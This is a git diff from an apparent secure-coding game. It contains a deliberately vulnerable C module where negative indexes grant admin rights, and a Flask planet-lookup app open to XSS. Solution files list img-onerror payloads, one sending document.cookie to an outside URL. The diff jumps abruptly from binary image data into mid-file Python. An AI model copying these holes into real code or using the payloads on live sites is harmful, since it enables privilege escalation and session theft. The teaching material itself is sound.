+#include
+
+#define MAX_USERNAME_LEN 39
+#define SETTINGS_COUNT 10
+#define MAX_USERS 100
+#define INVALID_USER_ID -1
+
+// For simplicity, both the private (implementation specific) and the public (API) parts
+// of this application have been combined inside this header file. In the real-world, it
+// is expected for the public (API) parts only to be presented here. Therefore, for the
+// purpose of this level, please assume that the private (implementation specific) sections
+// of this file, would not be known to the non-privileged users of this application
+
+// Internal counter of user accounts
+int userid_next = 0;
+
+// The following structure is implementation-speicific and it's supposed to be unknown
+// to non-privileged users
+typedef struct {
+ bool isAdmin;
+ long userid;
+ char username[MAX_USERNAME_LEN + 1];
+ long setting[SETTINGS_COUNT];
+} user_account;
+
+// Simulates an internal store of active user accounts
+user_account *accounts[MAX_USERS];
+
+// The signatures of the following four functions together with the previously introduced
+// constants (see #DEFINEs) constitute the API of this module
+
+// Creates a new user account and returns it's unique identifier
+int create_user_account(bool isAdmin, const char *username) {
+ if (userid_next >= MAX_USERS) {
+ fprintf(stderr, "the maximum number of users have been exceeded");
+ return INVALID_USER_ID;
+ }
+
+ user_account *ua;
+ if (strlen(username) > MAX_USERNAME_LEN) {
+ fprintf(stderr, "the username is too long");
+ return INVALID_USER_ID;
+ }
+ ua = malloc(sizeof (user_account));
+ if (ua == NULL) {
+ fprintf(stderr, "malloc failed to allocate memory");
+ return INVALID_USER_ID;
+ }
+ ua->isAdmin = isAdmin;
+ ua->userid = userid_next++;
+ strcpy(ua->username, username);
+ memset(&ua->setting, 0, sizeof ua->setting);
+ accounts[userid_next] = ua;
+ return userid_next++;
+}
+
+// Updates the matching setting for the specified user and returns the status of the operation
+// A setting is some arbitrary string associated with an index as a key
+bool update_setting(int user_id, const char *index, const char *value) {
+ if (user_id < 0 || user_id >= MAX_USERS)
+ return false;
+
+ char *endptr;
+ long i, v;
+ i = strtol(index, &endptr, 10);
+ if (*endptr)
+ return false;
+
+ v = strtol(value, &endptr, 10);
+ // FIX: We should check for negative index values too! Scroll for the full solution
+ if (*endptr || i < 0 || i >= SETTINGS_COUNT)
+ return false;
+ accounts[user_id]->setting[i] = v;
+ return true;
+}
+
+// Returns whether the specified user is an admin
+bool is_admin(int user_id) {
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return false;
+ }
+ return accounts[user_id]->isAdmin;
+}
+
+// Returns the username of the specified user
+const char* username(int user_id) {
+ // Returns an error for invalid user ids
+ if (user_id < 0 || user_id >= MAX_USERS) {
+ fprintf(stderr, "invalid user id");
+ return NULL;
+ }
+ return accounts[user_id]->username;
+}
+
+/*
+ There are two vulnerabilities in this code:
+
+ (1) Security through Obscurity Abuse Vulnerability
+ --------------------------------------------
+
+ The concept of security through obscurity (STO) relies on the idea that a
+ system can remain secure if something (even a vulnerability!) is secret or
+ hidden. If an attacker doesn't know what the weaknesses are, they cannot
+ exploit them. The flip side is that once that vulnerability is exposed,
+ it's no longer secure. It's widely believed that security through obscurity
+ is an ineffective security measure on its own, and should be avoided due to
+ a potential single point of failure and a fall sense of security.
+
+ In code.h the user_account structure is supposed to be an implementation
+ detail that is not visible to the user. Otherwise, attackers could easily
+ modify the structure and change the 'isAdmin' flag to 'true', to gain admin
+ privileges.
+
+ Therefore, as this example illustrates, security through obscurity alone is
+ not enough to secure a system. Attackers are in position toreverse engineer
+ the code and find the vulnerability. This is exposed in hack.c (see below).
+
+ You can read more about the concept of security through obscurity here:
+ https://securitytrails.com/blog/security-through-obscurity
+
+
+ (2) Buffer Overflow Vulnerability
+ ----------------------------
+
+ In hack.c, an attacker escalated privileges and became an admin by abusing
+ the fact that the code wasn't checking for negative index values.
+
+ Negative indexing here caused an unauthorized write to memory and affected a
+ flag, changing a non-admin user to admin.
+
+ You can read more about buffer overflow vulnerabilities here:
+ https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
+*/
\ No newline at end of file
diff --git a/Season-1/Level-2/tests.c b/Season-1/Level-2/tests.c
new file mode 100644
index 0000000..3253e76
--- /dev/null
+++ b/Season-1/Level-2/tests.c
@@ -0,0 +1,28 @@
+// Run tests.c by following the instructions below:
+
+// This file contains passing tests.
+
+// Run them by opening a terminal and running the following:
+// $ make Season-1/Level-2/tests && ./Season-1/Level-2/tests
+
+#include "code.h"
+
+int main() {
+ printf("Level 2 \n\n");
+ // Creates a non-admin username called "pwned"
+ int user1 = create_user_account(false, "pwned");
+ printf("0. Non-admin (admin:%i) username called '%s' has been created \n\n", is_admin(user1), username(user1));
+
+ printf("1. Non-admin users like '%s' can update some dummy numerical settings \n", username(user1));
+ printf("2. Non-admin users have no access to settings that can escalate themselves to admins \n\n");
+
+ // Updates the setting '1' of the pwned username to the number '10'
+ update_setting(user1, "1", "10");
+ printf("3. Dummy setting '1' has been now set to dummy number '10' for user '%s' \n", username(user1));
+ printf("4. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1));
+
+ if (!is_admin(user1))
+ printf("User is not an admin so the code works as expected... is it though? \n");
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Season-1/Level-3/assets/prof_picture.png b/Season-1/Level-3/assets/prof_picture.png
new file mode 100644
index 0000000000000000000000000000000000000000..472d839e4d89c872a0f5b4acd732723aec8f6c1f
GIT binary patch
literal 20177
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
'
+
+ return render_template('details.html',
+ planet=sanitized_planet,
+ info=get_planet_info(sanitized_planet))
+ else:
+ return 'Please enter a planet name.
'
+
+ return render_template('index.html')
+
+def get_planet_info(planet):
+ return planet_data.get(planet, 'Unknown planet.')
+
+if __name__ == '__main__':
+ app.run()
\ No newline at end of file
diff --git a/Season-2/Level-3/hack.txt b/Season-2/Level-3/hack.txt
new file mode 100644
index 0000000..54c7854
--- /dev/null
+++ b/Season-2/Level-3/hack.txt
@@ -0,0 +1,8 @@
+Simulate an attack by following these steps:
+
+1. Start the application as instructed in 'code.py'
+2. Enter the following in the planet input field:
+<img src='x' onerror='alert(1)'>
+
+The application should return a message stating that such a
+planet is unknown to the system, without showing an alert box
\ No newline at end of file
diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt
new file mode 100644
index 0000000..5d0fa72
--- /dev/null
+++ b/Season-2/Level-3/hint.txt
@@ -0,0 +1 @@
+How does the site handle user input before and after displaying it?
\ No newline at end of file
diff --git a/Season-2/Level-3/solution.txt b/Season-2/Level-3/solution.txt
new file mode 100644
index 0000000..499e4c8
--- /dev/null
+++ b/Season-2/Level-3/solution.txt
@@ -0,0 +1,68 @@
+# Contribute new levels to the game in 3 simple steps!
+# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
+
+This code is vulnerable to Cross-Site Scripting (XSS).
+
+Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
+Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/
+
+Why the application is vulnerable to XSS?
+It seems that the user input is properly sanitized, as shown below:
+
+planet = request.form.get('planet')
+sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')
+
+What if all HTML's start and end tags were pruned away, what could go wrong in that case?
+Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
+However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:
+
+Exploit:
+<img src="x" onerror="alert(1)">
+
+Explanation:
+With this payload, the XSS attack will execute successfully, since it will force the browser to open an
+alert dialog box. There are several reasons why this is possible, as explained below:
+
+1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function
+invocation in JavaScript.
+2) The sanitization doesn't touch the < and > special entities.
+3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
+4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML.
+
+How can we fix this?
+
+1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped.
+2) Don't reinvent the wheel by coming up with your own escaping facility.
+You can use the function 'escape', which is a built-in function inside the markup module used by Flask.
+This function helps to escape special characters in the input, preventing them from being executed
+as HTML or JavaScript.
+
+Example:
+from markupsafe import escape
+
+sanitized_planet = escape(planet)
+
+What else can XSS do?
+- Steal cookies and session information
+- Redirect to malicious websites
+- Modify website content
+- Phishing
+- Keylogging
+
+How to prevent XSS?
+- Sanitize user input properly
+- Use Content Security Policy (CSP)
+- Use HttpOnly Cookies
+- Use X-XSS-Protection header
+
+Here are some exploit examples:
+
+- Redirect to phishing page using XSS:
+<img src="x" onerror="window.location.href = 'https://google.com';">
+
+- Get cookies:
+<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;">
+
+- Modify website content:
+You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
+<img src="x" onerror="document.body.innerHTML = 'Website is hacked';">
\ No newline at end of file
diff --git a/Season-2/Level-3/templates/details.html b/Season-2/Level-3/templates/details.html
new file mode 100644
index 0000000..28db517
--- /dev/null
+++ b/Season-2/Level-3/templates/details.html
@@ -0,0 +1,31 @@
+
+
+
+
+ Planet Details
+
+
+
+
+ Planet Details
+ Planet name: {{ planet | safe }}
+ Planet info: {{ info | safe }}
+
+ Search in Google for more information about the planet:
+
+
+
+
\ No newline at end of file
diff --git a/Season-2/Level-3/templates/index.html b/Season-2/Level-3/templates/index.html
new file mode 100644
index 0000000..fea9f71
--- /dev/null
+++ b/Season-2/Level-3/templates/index.html
@@ -0,0 +1,63 @@
+
+
+
+
+ Planet Information
+
+
+
+
+ Planet Information
+
+
+
+
\ No newline at end of file
diff --git a/Season-2/Level-3/tests.py b/Season-2/Level-3/tests.py
new file mode 100644
index 0000000..f765d6d
--- /dev/null
+++ b/Season-2/Level-3/tests.py
@@ -0,0 +1,63 @@
+# Run tests.py by following the instructions below:
+
+# This file contains passing tests.
+
+# Run them by opening a terminal and running the following:
+# $ python3 Season-2/Level-3/tests.py
+
+# Note: first you have to run code.py following the instructions
+# on top of that file so that the environment variables align but
+# it's not necessary to run both files in parallel as the tests
+# initialize a new environment, similar to code.py
+
+from code import app, get_planet_info
+import unittest
+from flask_testing import TestCase
+
+class MyTestCase(TestCase):
+ def create_app(self):
+ app.config['TESTING'] = True
+ app.config['TEMPLATES_AUTO_RELOAD'] = True
+ return app
+
+ def test_index_route(self):
+ response = self.client.get('/')
+ self.assert200(response)
+ self.assertTemplateUsed('index.html')
+
+ def test_get_planet_info_invalid_planet(self):
+ planet = 'Pluto'
+ expected_info = 'Unknown planet.'
+ result = get_planet_info(planet)
+ self.assertEqual(result, expected_info)
+
+ def test_get_planet_info_valid_planet(self):
+ planet = 'Mercury'
+ expected_info = 'The smallest and fastest planet in the Solar System.'
+ result = get_planet_info(planet)
+ self.assertEqual(result, expected_info)
+
+ def test_index_valid_planet(self):
+ planet = 'Venus'
+ response = self.client.post('/', data={'planet': planet})
+ self.assert200(response)
+ self.assertEqual(response.data.decode()[:15], '')
+
+ def test_index_missing_planet(self):
+ response = self.client.post('/')
+ self.assert200(response)
+ self.assertEqual(response.data.decode(), 'Please enter a planet name.
')
+
+ def test_index_empty_planet(self):
+ response = self.client.post('/', data={'planet': ''})
+ self.assert200(response)
+ self.assertEqual(response.data.decode(), 'Please enter a planet name.
')
+
+ def test_index_active_content_planet(self):
+ planet = "
+
+
+
+
+
+